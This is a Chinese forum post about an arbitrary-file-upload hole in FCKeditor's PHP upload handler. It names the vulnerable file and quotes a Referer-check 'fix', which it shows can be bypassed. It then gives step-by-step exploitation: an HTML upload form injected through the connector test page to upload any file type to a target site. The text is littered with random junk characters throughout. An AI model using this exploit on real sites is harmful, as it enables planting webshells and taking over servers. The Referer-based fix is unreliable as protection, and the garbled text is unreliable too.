漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php2 K& |% [3 V4 d! _1 `* p7 B
网上给出的修复方案是. q5 \+ [" g0 F$ H# C% E, H
修复方法,删除FCK编辑器用其他的编辑器6 H0 Q. J* e0 U9 r- y
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
1 i% e$ s% b% K; ^. B0 s d% p. O在9 ^. {- h" q$ H) ], z; Z' m5 T
require(‘config.php’);
0 N7 m5 c/ A! B% U3 Arequire(‘util.php’);
" t& V( x% L( V9 y& G% I' C的下面添加以下代码—————————–
+ R. O4 }" ?- D//防止外部提交
1 L/ m2 _/ F0 b0 ]: A. S6 L% Bfunction outsidepost()8 c1 j: v6 M- k4 K4 V+ O F t
{
2 x" Q: i% A0 l* a$servername=$_SERVER['SERVER_NAME'];- a/ S) r4 O6 @; }# i% _1 d
$sub_from=@$_SERVER['HTTP_REFERER'];
* M- O# L7 f @5 c7 N$sub_len=strlen($servername);7 N- x; T2 S/ z0 ?7 q
$checkfrom=substr($sub_from,7,$sub_len);; Z4 L3 x x# U, B. a3 q( P- ?
if($checkfrom!=$servername){" ^; _" a# c8 z2 X5 m9 X: z0 Q
echo(“you don’t outsidepost!”);1 J, F" j v9 l, P" ^
exit;
- x/ X6 Y# Z4 x7 a4 `' U}
& Z' t% I, s" i" m. {5 b& M9 J& m}
& F9 J4 J" _3 |5 woutsidepost();
- D- j# Q* _" Q) D防止外部提交,但是没有防止内部提交,3 ]9 ]/ l% o. Q$ ]" U; F/ K% i
利用方法:
9 y; F! v3 n& L1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html* e( \8 A z2 F/ |* l% D
2,在Current Folder 框输入5 B: r' ~$ ~! B9 E& c% n& k
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>- e, |2 ?6 I# ?5 U' J' t7 [
然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。
/ i P1 ^+ R' C$ W' r$ L% e1 \PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。 |